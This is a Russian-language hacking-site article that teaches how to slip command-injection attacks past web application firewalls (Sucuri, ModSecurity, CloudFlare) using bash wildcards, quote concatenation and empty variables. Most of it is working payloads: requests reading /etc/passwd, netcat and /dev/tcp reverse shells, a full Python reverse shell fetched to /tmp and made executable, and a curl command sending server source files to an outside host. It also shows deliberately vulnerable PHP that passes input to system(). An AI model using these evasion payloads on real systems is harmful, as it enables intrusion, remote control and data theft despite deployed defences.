хакер
<

Делимся с вами статьей из одного лучших русскоязычных форумов в клирнете.

Метод первый, wildcards.

Нередко во время тестирования веб приложений можно отыскать RCE, подтверждением этому служит первая строчка в рейтинге «OWASP Top 10 application security risk» за 2017 год.

Все современные WAF’ы перехватывают и блокируют попытки эксплуатации RCE, но когда речь идет о системах семейства UNIX, то у атакующего есть есть возможность дать разгул своей фантазии в поисках путей обхода правил блокировок. Одно из решений — wildcards.

Немного теории про bash и wildcards:

Bash wildcards используются программами в командной строке для работы с множествами файлов (для получения большей информации вбиваем в командной строке man 7 glob), особенности синтаксиса bash дают пользователю возможность вызывать системные команды используя знаки: «?» и «/».

Например, для вызова справочной страницы команды ls , мы можем воспользоваться такой комбинацией: /???/?s —help

Вывод консоли:

$ /???/?s --help
Usage: /bin/ls [OPTION]... [FILE]...
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.

Благодаря такой особенности синтаксиса можно вызвать любую команду, посмотреть содержимое любого файла и т.д.

Представим ситуацию, когда тестируемое приложение находится за WAF’ом, который блокирует наши попытки посмотреть через GET или POST запросы /etc/passwd или выполнить команду /bin/ls. Запрос вида /?cmd=cat+/etc/passwd потерпит неудачу, но если WAF не настроен на фильтрацию знаков «?» и «/», то можно применить технику, описанную выше. Преобразуем команду cat /etc/passwd в /???/??t /???/p??s??, тогда конечный вид запроса в строке браузера будет таким: /?cmd=%2f???%2f??t%20%2f???%2fp??s??

Если мы попробуем такую команду в терминале, то увидим следущее:

$ /???/??t /???/p??s?? 
/bin/cat: /dev/net: Is a directory 
/bin/cat: /etc/apt: Is a directory 
/bin/cat: /etc/opt: Is a directory 
<Вывод файла /etc/passwd>

Вначале пойдут три ошибки и только потом вывод нужного нам файла, это происходит потому что первая часть нашей команды /???/??t так же может быть распознана не только как /bin/cat, но так же и как /dev/net/etc/apt или /etc/opt.

«?» заменяет только только один символ, который может обозначать любую букву, для примера, команда ls *.??? выведет только те файлы текущей директории, у которых любое имя, но длина расширения файла строго равна 3-м символам.

Используя даный wildcard можно выполнить реверс шелл через netcat.
Изменим обычную команду для реверса nc -e /bin/bash 127.0.0.1 1337 на /???/n? -e /???/b??h 2130706433 1337.
Помимо использования wildcard, мы так же изменили наш ip в «long» формат, это позволяет нам избежать необходимости использования точек в запросе.

 

Теперь давайте рассмотрим использование wildcard в лабораторных условиях с некоторыми WAF’ами.

Sucuri WAF:

 

Картинка выше разбита на три части:

1. Левый верхний угол. Тут находится PHP скрипт, который принимает значение от пользователя и выполняет команду.
2. Левый нижний угол. Пытаемся обычным способом выполнить RCE на тестовом сайте, защищенном Sucuri WAF, но видим, что наша попытка была заблокирована фаерволом.
3. Правая часть. Пытаемся выполнить тот же RCE, но с использованием wildcard и видим успешное выполнение нашего запроса.

ModSecurity OWASP CRS 3.0:

Тестировать этот фаервол мы будем с различными настройками «paranoia level». Подробное описание правил для каждого уровня можно посмотреть тут.

Рассмотрим подробнее часть REQUEST PROTOCOL ENFORCEMENT

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = — _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = — _ . , : & » * + / SPACE

Здесь мы видим, что на уровне PL1 строка запроса может принимать только ASCII символы в диапазоне от 1 до 255, а по мере увеличения уровня безопасности к PL4 эти правила только ужесточаются, блокируя все больше и больше возможных символов.

PL0:
При такой настройке многие фильтры безопасности отключены, поэтому пройдет даже обычная базовая RCE:

 

PL1-2:
Уровни 1 и 2 объединены, т.к. их настройка в случае использования wildcards никак не отличается и не повлияет на успешность выполнения нашей команды.
Базовая RCE не проходит, но с использованием wildcard получаем нужный результат, т.к. «?» и «/» не фильтруются на данных уровнях.

user posted image

PL3:
На этом уровне использование «?» блокируется при повторении знака n-ое количество раз. Таким образом нам не удастся выполнить наш запрос с=/???/??t /???/p??s??, но если мы немного его подкорректируем с=/?in/cat+/et?/passw?, то снова получим успешное выполнение RCE:

user posted image

PL4:
И только лишь на этом уровне техника из этой статьи потерпит неудачу, т.к. запрещены все символы вне диапазонов a-z, A-Z и 0-9.

Метод второй, конкатенация строк.

В разных языках программирования используются разные операторы для конкатенации строк, например, в Python это «+», а в PHP — «.», но это далеко не единственные способы для сложения аргументов строки. В некоторых языках, например, C, C++, Python, есть понятие «string literal concatenation», оно говорит о том, что аргументы нашей строки могут соединяться без операторов конкатенации. Таким образом строка «Hello, » «World» превратится в «Hello, World», это правило работает для всего синтаксиса bash.
Ниже мы видим как одна и та же команда echo может выполняться разными способами:

$ echo test
$ echo 't'e's't
$ echo 'te'st
$ echo 'te'st''
$ echo 'te'''st''
$ python -c 'print "te" "st"'

Результат:

user posted image

По факту, во второй команде примера оригинальная строка ‘test’ содержит четыре подстроки ‘t’, ‘e’, ‘s’ и ‘t’, которые сложились в оригинальную без каких-либо операторов.

Именно эту особенность синтаксиса bash можно использовать для обхода правил фильтрации WAF. В ModSecurity WAF правило SecRule ARGS «@pm passwd shadow groups» будет блокировать все запросы, содержащие слова passwd или shadow, но если мы изменим эти строки на pa’ss’wd или sh’ad’ow, то результат может приятно удивить. Если мы захотим протестировать возможность использования RCE на сайте, то воспользуемся измененным запросом:
$ curl «…/?url=;+cat+/e’t’c/pa’ss’wd».

Как и в первой части, рассмотрим примеры использования с двумя WAF’ами: Sucuri и ModSecurity. Для теста используется следущий PHP код:

<?php

  if ( isset($_GET['zzz']) ) {
     system('curl -v '.$_GET['zzz']);
  }

Sucuri WAF:

Для начала попробуем выполнить обычный запрос, чтобы получить ответ от google.com. На скрине видим, что наш запрос выполнился корректно:

 

А теперь попробуем эксплуатировать уязвимость, используя «;» и посмотрим содержимое файла /etc/passwd:

$ curl -v ‘http://test1.unicresit.it/?zzz=;+cat+/etc/passwd’

Этот запрос будет заблокирован и появится уведомление:

“An attempted RFI/LFI was detected and blocked”

Исходя их этого, мы можем предположить, что какое-то из слов в нашем запросе было нежелательным и попало под правило фильтрации Sucuri, но настройки безопасности данного фаервола позволят нам обойти это правило запросом:
$ curl -v «http://test1.unicresit.it/?zzz=;+cat+/e’tc/pass’wd»

user posted image

Теперь попробуем получить реверс шелл при условии, что на атакуемой машине отсутствует netcat. Самый простой способ, которым мы можем воспользоваться, это команда bash -i:

bash -i >& /dev/tcp/1.1.1.1/1337 0>&1

К сожалению, такая попытка не пройдет из-за того, что мы попадаем под другие фильтры безопасности Sucuri и получаем следущую ошибку:

«Obfuscated attack payload detected».

Не проблема, ведь мы можем использовать команды curl или wget, чтобы залить python reverse shell.

Код Python файла:

!/usr/bin/python

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Команда для заливки шелла:

$ curl -v ‘…/?zzz=<ip нашего веб сервера, на котором находится шелл>:порт/shell.py+-o+/tmp/shell.py’

Видим, что наш шелл успешно загрузился на тестируемую машину:

user posted image

Устанавливаем необходимые права доступа через chmod:

$ curl -s ‘…/?zzz=;+chmod+777+/tmp/shell.py’

Запускаем наш шелл и слушаем на своей машине нужный порт, все работает:

 

ModSecurity:

С Sucuri все прошло гладко, но с ModSeurity все не так просто, для успешной эксплуатации придется не только использовать конкатенацию, но и снова конвертировать наш ip в «long» формат, в итоге конечный вариант команд будет таким:

…/?zzz=wg’e’t «ip в «long» формате» -P tmp
…/?zzz=c’hm’od 777 -R tmp
…/?zzz=/t’m’p/index.html

Также придется вручную прописать в терминале ответы заголовка и тела после того как наша машина поймает соединение.
Пишем: HTTP/1.1 200 OK
После этого вводим наши команды, которые будут выполняться на стороне тестируемой машины.

user posted image

На этом сложности с ModSecurity не заканчиваются, все из-за двух функций, которые сильно усложняют жизнь при попытке получить доступ к цели: normalizePath и cmdLine.

Итак, что они делают:

normilizePath — удаляет при вводе все повторяющиеся слэши, а так же ссылки на директории(за исключением первоначальных)

cmdLine — приводит к нормальному виду все парамтеры, принятые на вход, которые могут быть использованы для эксплуатации LFI и RCE.

Например, команда /e’t’c/pa’ss’wd будет преобразована в /etc/passwd, потому что функции выполняют следущие действия:

Удаляют все «\», «^», пробелы перед «/» и «(«, а так же одинарные и двойные кавычки.
Заменяют все «,» и «;» на пробелы, табуляцию и повторяющиеся пробелы заменяют на одинарный, а так же приводят все вводимые данные к нижнему регистру.

В итоге, при попытке получить содержимое /etc/passwd через RCE мы ничего не получим, но это не значит, что мы не сможем вытянуть ничего интересного для исследования тестируемой машины.

Вот что мы можем сделать при настройках безопасности уровней L0-L3
:

Дело в том, что OWASP Core Rule Set предусматривает контролирование попыток ввода «чувствительной» информации и их фильтрацию только в одну сторону, то есть, от атакующего к тестируемой машине, но в обратную сторону данный подход не работает, в итоге, мы можем посмотреть исходник PHP кода, который находится на сайте через команду curl и ключ -d, вот как это выглядит:

$ curl -d @/<file> <remote server>

Заменим «@» на «%40», и конечный запрос будет иметь вид:

$ curl «…/?zzz=-d+%40/usr/local/…/index.php+1.1.1.1:1337»

user posted image

Альтернативный способ конкатенации.

Если на исследуемой машине не фильтруется «\», то можно заменить » ‘ » на «\» для обхода:

$ curl -v «…/?zzz=;c\\a\\t+/et\\c/pass\\wd»

После выполнения команды мы снова увидим содержимое файла /etc/passwd.

Метод третий, обходим WAF’ы ModSecurity и CloudFlare при помощи неинициализированных переменных.

Еще одной особенностью bash’а являются неинициализированные переменные, подобно языку Perl он определяет их как пустые строки, именно это поможет нам обойти некоторые правила безопасности.

Объявим в терминале нашу переменную и выведем ее на экран:

$ echo "uninitialized_variable=$uninitialized_variable"
uninitialized_variable=

Видим, что значение этой переменной null, при помощи этого мы можем выполнить сложение строк.

Команда cat$u /etc$u/passwd$u, где $u — наша переменная, выведет на экран содержимое файла /etc/passwd, теперь опробуем метод на ModSecurity и CloudFlare.

PHP скрипт для теста:

<?php
       if(isset($_GET['host'])) {
               system('dig '.$_GET['host']);
       }
?>

CloudFlare WAF, уровень безопасности — высокий:

Снова делаем тестовый запрос с параметром «www.google.it» для того, чтобы увидеть как сайт его обработает:

user posted image

Пробуем выполнить RCE и добавим в конце команду ls через «;». RCE успешно проэксплуатирована.

user posted image

А теперь попытаемся вытащить содержимое /etc/passwd запросом

?host=www.google.it;cat+/etc/passwd

Видим бан:

user posted image

Результат способа с переменной будет куда симпатичнее, вводим запрос:

/?host=www.google.it;cat$u+/etc$u/passwd$u

И получаем содержимое файла:

user posted image

Перейдем к более интересной части и попробуем установить соединение с атакуемой машиной. CloudFlare имеет множество настроек для предотвращения использования реверс шелла через netcat, на тестируемом сайте применены все возможные настройки, увидеть их можно ниже:

Пробуем обойти эти правила разными способами.

1. Стандартный вызов netcat

$ netcat с -e /bin/bash

 

Неудачная попытка, WAF успешно справляется со своей задачей

2. netcat -e /bin/bash с переменной $u

Запрос nc$u -e /bin$u/bash$u 1.2.3.4 1337 дает нам заветный реверс шелл.

user posted image

ModSecurity OWASP CRS3.1, PL3:

1. Пробуем выполнить стандартную RCE с командой «ls».

$ curl -v «…/tt.php?/host=www.google.it;ls»

Наша попытка провалилась:

user posted image

2. Добавляем переменную $u.

$ curl -v «…/tt.php?host=www.google.it;+$u+cat+/etc/passwd»

Уже ближе, но запрос заблокирован из-за /etc/passwd.

user posted image

3. Осталось обойти только ввод чувствительной информации

$ curl -v «…/tt.php?host=www.google.it;+$u+cat+/etc$u/passwd$u»

Получаем содержимое /etc/passwd

user posted image

На первый взгляд, можно предотвратить данную уязвимость, если в нашем PHP скрипте мы добавим пустую строку к принимаемому приложением параметру:

<?php
       if(isset($_GET['host'])) {
               system('dig "'.$_GET['host'].'"');
       }
?>

Но это не совсем так, все равно остается возможность обойти такую защиту, добавив в конец запроса «#», вернемся к тестированию CloudFlare:

$ curl -v «…/tt.php?host=www.google.it»;cat+/etc/passwd+#»

И снова получаем содержимое файла:
user posted image

А вот в ModSecurity это сработает только при настройках PL2 и ниже, при PL3 и выше запрос будет заблокирован из-за двух правил:

— 42460 Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters: it blocks my request because of «, ;, /, and $ characters.

— 942260 Detects basic SQL authentication bypass attempts 2/3: trying to use less special characters I went blocked by this rule.

Думаю, что новичкам такая информация о методах обхода WAF точно будет полезна, так же будет здорово, если те, кто сталкивался с такими способами обхода на практике поделятся своими наблюденями и критикой по поводу техник, которые описаны в статье.

Тэги:

  • Показать Комментарии (2)

Вам Также Может Понравиться

Как узнать MAC-адрес и Как по MAC-адресу узнать производителя

MAC-адрес (ещё называют физический адрес) – это уникальный идентификатор сетевого интерфейса в локальной сети. Одно ...

Wi-Fi hackWi-Fi hack

Сервис 3WiFi: пароли от точек доступа Wi-Fi

Программа Router Scan сканирует сети и собирает информацию о роутерах, в том числе о паролях Wi-Fi ...

Вирус мелиссаВирус мелисса

Вирус Мелисса

Вирус Мелисса относится к компьютерному макровирусу, который может заражать компьютеры и почтовые шлюзы, когда ...

+

Авторизация

* *
*

Регистрация

*
*
*
*

Генерация пароля